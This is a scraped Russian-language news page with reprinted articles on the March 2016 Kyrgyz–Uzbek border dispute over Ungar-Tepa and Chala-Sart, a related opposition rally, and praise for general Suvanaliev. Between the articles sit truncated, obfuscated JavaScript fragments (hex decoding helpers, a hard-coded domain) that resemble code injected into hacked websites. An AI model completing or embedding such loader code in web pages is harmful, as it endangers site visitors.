К слову, недавно в передаче “Неудобные вопросы” участвовал О. Исакович и депутат СДПК Рыскелди Момбеков, который озвучил справедливое мнение: “Омурбек Суваналиев по собственной воле оставил несколько должностей. Он не поддерживал политику Курманбека Бакиева, поэтому он уходил, хотя был начальником Бишкекского ГУВД, МВД, губернатором Нарынской области”. Как оказалось, генерал показал, что может достойно вести себя как во власти, так и в оппозиции, доказал, что является сыном народа.
Таких фактов проявления мужества полно. Наше внимание привлекло и то, что среди народа все больше людей выступают за то, чтобы Омурбек Суваналиев баллотировался в президенты. Он еще наберется сил…
Источник: газета “Азия news”
Узбекские чиновники заявили, что причиной конфликта на границе с Кыргызстаном является спор вокруг принадлежности горы Унгар-тепа. Между тем, правительство Кыргызстана уже признало гору узбекской территорией.
В последние годы между Узбекистаном и Кыргызстаном все чаще возникают недопонимания в вопросе принадлежности отдельных участков территорий на узбекско-кыргызской госгранице. Дополнил эту череду недавний спор вокруг принадлежности горы Унгар-тепа.
Многие местности на узбекско-кыргызской границе до сих пор остаются спорными территориями.
В опубликованном 23 марта интервью на сайте интернет-издания Podrobno.uz начальник отдела кадастровой службы и земельным ресурсам при хокимияте Чартакского района Наманганской области Узбекистана Абдусамат Исабаев заявил, что заявления кыргызской стороны о, якобы, принадлежности ей горы Унгар-тепа не имеют под собой даже малейших оснований.
“Это однозначно. Хотелось бы особо заметить, что это даже не спорный участок – обсуждаемая возвышенность расположена не на границе, как это хотят представить в Кыргызстане, а как минимум в метрах 800 в глубине Наманганской области Узбекистана”, – заявил изданию Абдусамат Исабаев.
По его словам, спор вокруг принадлежности горы Унгар-тепа начался после распада СССР.
“Мы разрешили соседям разместить на Унгар-тепе антенны нескольких кыргызских телеканалов и сотовых компаний. По своей географической расположенности эта возвышенность позволяет охватывать территории юга Кыргызстана. Прошло некоторое время, и Кыргызстан принялся хозяйничать на узбекской территории – соседи уже без какого-либо согласования и тем более разрешения начали устанавливать здесь другие антенны”, – заявил узбекский чиновник.
Он утверждает о наличии документов, подтверждающих расположенность Унгар-тепы на территории Узбекистана.
Кыргызские подразделения отправлены на границу с Узбекистаном.
“Взять хотя бы утвержденное Пленумом Средазликвидкома в 1925 году описание межреспубликанской границы, или же Протокол межреспубликанской комиссии по рассмотрению спорных вопросов землепользования и уточнения республиканских границ между Узбекской ССР и Кыргызской ССР от 1955 года, где указано о принадлежности Унгар-тепы узбекской стороне. Это же подтверждается государственным актом Жаны-Жольского райисполкома за №452324 от 1960 года, указом Президиума Верховного Совета Кыргызской ССР “Об утверждении государственной границы…” от 1961 года, планом землепользования Фрунзевского колхоза Жаны-Жольского района Кыргызстана от 1984 года… Таких документов много. Вопрос в том, что кыргызская сторона открыто игнорирует их”, – заявил в интервью Podrobno.uz начальник отдела кадастровой службы и земельным ресурсам при хокимияте Чартакского района Наманганской области Узбекистана Абдусамат Исабаев.
Между тем, как сообщило сегодня, 24 марта кыргызстанское интернет-издание K-News, правительство Кыргызстана признало Унгар-тепе (Унгар-Тоо – на кыргызском – ред.) узбекской территорией.
По данным издания, депутатов Кербенского городского кенеша попросили найти для телевышки, располагающейся на Унгар-Тоо, другое место.
Представитель горкенеша Эргешалы Озокеев (“Республика – Ата Журт”) в интервью K-News рассказал, что как выяснилось недавно, еще в ноябре 2015 года принято постановление правительства, в котором прописано: телевышка на горе Унгар должна быть перенесена, потому что она находится на территории Узбекистана.
Кыргызские пограничники в Аксыйском районе в Джалалабаде, 21 марта 2016 года.
Кыргызские пограничники в Аксыйском районе в Джалалабаде, 21 марта 2016 года.
Кыргызские пограничники в Аксыйском районе в Джалалабаде, 21 марта 2016 года.
“Это всегда была кыргызская земля, и во время Советского союза, и до него, и после. Мы не понимаем, почему правительство решает, что это узбекская земля и поручает определить другое место для вышки. В Аксы от мала до велика не найдете такого человека, который согласился бы с этим решением. Все депутаты горкенеша были против. Мы вынесли постановление, чтобы вышка оставалась на месте. Нам о постановлении правительства сказали недавно, пару дней назад, непонятно почему, если оно было принято еще в ноябре”, – сказал K-News кыргызский депутат.
Он также добавил, что в 2013 году из-за горы Унгар уже был инцидент, когда на нем был водружен флаг Узбекистана. Местное население в Кыргызстане выразило недовольство, чуть не переросшее в более серьезный конфликт. По словам депутата, все население Аксыйского района готово встать на защиту горы.
По данным K-News, на горе Унгар-тепа (Унгар-Тоо) расположена ретрансляционная станция Кыргызстана, построенная в 1969 году. Станция ретранслирует пять телеканалов и пять радиостанций, на ней также расположены усилители сигнала связи сотовых компаний. На горе расположена и телефонная станция Узбекистана, возведенная в 1975 году.
Как сообщает “Азаттык” (Кыргызская редакция радио “Свобода”), после такого решения горкенеша Кербена правительство распространило пояснения по поводу радиорелейной станции на Унгар-Тоо. В заявлении, в частности, говорится, что “в целях усиления информационной безопасности Чаткальского, Ала-Букинского, Аксыйского районов Джалал-Абадской области Кыргызской Республики правительством рассматривается вопрос о строительстве новой станции, которая будет работать в связке с радиорелейной системой-224 (РРС-24) “Кербен”, располагающейся на горе Унгар-Тоо”. Отмечается, что “строительство данной станции необходимо для налаживания новых каналов связи, предусматривающих передачу цифрового вещания в вышеуказанные районы в рамках реализации Программы перехода на цифровое телерадиовещание в Кыргызской Республике”.
Специальный представитель правительства Кыргызстана по приграничным вопросам Курбанбай Искандаров рассказал “Азаттыку”, что антенны расположены на несогласованном участке, по делимитации которого сейчас ведутся переговоры. Он намекнул, что по ряду причин кыргызская сторона должна быть готова к переносу станции.
– Мы должны обосновать, что эта земля наша. Во время переговоров речь пойдет об этом. На Унгар-Тоо есть наш объект. Этот вопрос может быть поднят только тогда, если, исходя из доводов Узбекистана, после завершения процесса делимитации земля будет признана их собственностью. Но там есть вопросы, касающиеся безопасности. Поэтому у нас есть возможность перенести станцию, не дожидаясь делимитации. Узбекская сторона всегда опирается на документ от какого-то года и говорит, что земля их, используя этот довод как инструмент. Поэтому мы рассматриваем вопрос о переносе станции. Здесь нет никакой политической подоплеки. И не надо использовать эту проблему как политический инструмент. Никто не говорит, что станция будет перенесена сегодня или завтра. Но подготовка ведется. Если возникнет необходимость, мы должны быть готовы к переносу, – заявил Курбанбай Искандаров.
Напомним, в местности Чала-Сарт Аксыйского района Джалалабадской области 18 марта этого года в 07.40 утра на неописанном участке границы узбекские военные выставили по два бронетранспортера и грузовика, а также несколько десятков хорошо оснащенных военных. Вслед за этим на спорном участке границы были развернуты дополнительные наряды кыргызских пограничников “для контроля над ситуацией”.
Как сообщил ранее “Озодлик” (Узбекская редакция радио “Свобода”), Комитет по охране государственной границы СНБ Узбекистана распространил информацию с пояснением причин выставления военной техники на границе. В пресс-релизе говорится, что Узбекистан усилил охрану на границе с Кыргызстаном из-за подготовки к празднованию “Навруза”.
Узбекская сторона призвала кыргызских коллег воздержаться от распространения информации, противоречащей действительности, во избежание осложнения отношений между пограничными ведомствами сторон.
Однако даже после окончания празднования “Навруза” в Ташкенте Узбекистан не вывел своих военнослужащих и технику из местности Чала-Сарт в Аксыйском районе. На упомянутом участке Чала-Сарт до сих пор находятся узбекские и кыргызские военнослужащие.
Указанный участок границы сейчас охраняется в усиленном режиме, действия пограничников и других силовых структур на месте координирует замглавы ГПС Талайбек Усубалиев. Пункты пропуска на всем протяжении кыргызско-узбекской границы закрыты, кроме одного – в Кызыл-Кие.
Между тем, как сообщило вчера российское интернет-издание “Независимая газета”, президент Кыргызстана Алмазбек Атамбаев обратился к ОДКБ за помощью в разрешении спора на границе с Узбекистаном. Кыргызстан рассчитывает на поддержку своих партнеров по военному блоку. Как пишет издание, если решение пограничного вопроса затянется, то кыргызская сторона может пересмотреть свое участие в саммите Шанхайской организации сотрудничества (ШОС) в Ташкенте.
Ежегодный саммит ШОС пройдет 23-24 июня этого года в столице Узбекистана.
Источник: centrasia.ru
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "kyrgyztoday.kg"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "kyrgyztoday.kg"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
На митинге оппозиции в Аксыйском районе Джалал-Абадской области Кыргызстана принято обращение к президенту России Владимиру Путину с просьбой выступить посредником в разрешении пограничного спора между Кыргызской Республикой и Узбекистаном.
Некоторые представители оппозиции причиной складывающейся на границе ситуации назвали халатность властей и потребовали вмешательства в эту проблему ШОС и ОДКБ. Посетивший Аксыйский район премьер-министр КР Темир Сариев, выступая перед местными жителями заявил, что псевдопатриоты, прикрываясь проблемой границы, преследуют корыстные цели, и добавил, что вопрос должен решаться на государственном уровне и только дипломатическим методом.
Позиция оппозиции
Эти требования изложены в резолюции, принятой по итогам курултая, состоявшего в Аксыйском районе 22 марта. Председатель оппозиционного движения “Эл уну” (“Глас народа”) Азимбек Бекназаров заявил следующее:
– Предыдущие президенты не смогли вести политику на равных с главами соседних государств. Поэтому Узенгу-Кууш отошел Китаю. Тогда тоже говорили, что это спорный участок. До каких пор власти Кыргызстана сами будут создавать условия для приграничных споров, говоря, что этот или тот участок еще не определен. Нет! Это уточненный участок.
Ответ премьера
Власти в свою очередь отмечают, что с соседним государством ведутся переговоры, и проблема будет решаться только мирным путем. Они обвинили оппозицию в том, что она использует ситуацию для зарабатывания политических очков.
Премьер-министр Темир Сариев, принявший участие в курултае, действия оппозиционеров назвал политической спекуляцией:
– У того же Бекназарова было две возможности для решения проблем границ, когда он был у власти. Не надо сейчас выставлять себя героем, используя напряженную на границе ситуацию. Все вопросы, поднятые здесь, обсуждаются и решаются в правительстве. Мы ведем деятельность с теми же ОДКБ, ООН и ШОС. Мы будем решать проблему дипломатическим путем.
Мнения разошлись
Оппозиция, критикующая власти за бездействие в ситуации перекрытия узбекистанскими пограничниками дороги Аксы – Ала-Бука, потребовала провести переговоры с Ташкентом на самом высоком уровне. Но в вопросе геополитики мнения оппозиции разошлись.
Равшан Жээнбеков раскритиковал факт обращения к президенту России, принятого на митинге в Кербене:
– Меня повергло в шок то, что мои единомышленники из оппозиции решили обратиться к Владимиру Путину. Я не ожидал этого. В ситуации, когда мы, независимое государство, намерены решать масштабные проблемы, обращение некоторых представителей оппозиции к Путину свидетельствует о большом влиянии на них сил из его окружения. Если кыргызская сторона к нему обратится, нет гарантий, что он решит проблему в нашу пользу. Если мы наделим Путина полномочиями, а он решит проблему в пользу Узбекистана, что будет тогда? Это говорит о том, что представители оппозиции не совсем четко понимают национальные интересы и геополитическую ситуацию.
В принятой по итогам митинга резолюции говорится, что местность, занятая узбекистанскими военными, со времен СССР принадлежит Кыргызстану. Однако Ташкент пока никак не отреагировал на ноту протеста Бишкека, направленную в связи с занятием им спорного участка.
Между тем по инициативе кыргызской стороны 22 марта состоялось экстренное заседание Постоянного совета ОДКБ. Была заслушана информация Постоянного и Полномочного представителя КР при ОДКБ Мамбетсеитова “О складывающейся ситуации на несогласованном участке кыргызско-узбекской государственной границы в Аксыйском районе Джалал-Абадской области Кыргызской Республики”.
Как сообщает МИД Кыргызстана, члены Постоянного совета ОДКБ выразили обеспокоенность обострением обстановки на кыргызско-узбекской границе. Принято решение отслеживать развитие ситуации. Совещание будет продолжено членами Постоянного совета ОДКБ сегодня, 23 марта.
Напомним, Узбекистан утром 18 марта ввел 2 БТР и столько же военных КамАЗов на несогласованный участок границы в Аксыйском районе. Такие действия пограничников соседнего государства вызвали обеспокоенность среди местного населения, ограничилось движение по дороге Кербен – Ала-Бука. Позже кыргызская сторона в качестве ответа разместила в этой местности своих военных и технику.
В Министерство иностранных дел Кыргызстана был вызван посол Узбекистана Комил Рашидов, которому вручили ноту протеста с требованием разъяснений от Ташкента. Узбекистан в свою очередь заявил, что не занимал чужую территорию, а лишь усилил охрану границы с Кыргызстаном на время празднования Нооруза. Кроме того Ташкент призвал Бишкек не распространять непроверенную информацию, чтобы не усложнять отношения.
А уже 20 марта заявлено, что на кыргызско-узбекский участок границы отправлены дополнительные военные силы. Отмечается, что туда направлено 200 военнослужащих и техника.
Сейчас кыргызстанские военные несут службу на границе с Узбекистаном в усиленном режиме. Контрольно-пропускные пункты закрыты, кроме одного – в Кызы-Кие, через который проходят жители анклавов Сох и Шахимардан.
20 марта, Кыргызстан и Узбекистан сократили число привлеченных к спорному участку госграницы военнослужащих. На автотрассе Кербен – Ала-Бука, пролегающей по спорному участку местности Чала-Сарт, все еще находятся военнослужащие. Если до этого на месте их было по 20 человек с каждой стороны, в настоящее время – по 8.
Источник: centrasia.ru
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "kyrgyztoday.kg"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "kyrgyztoday.kg"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e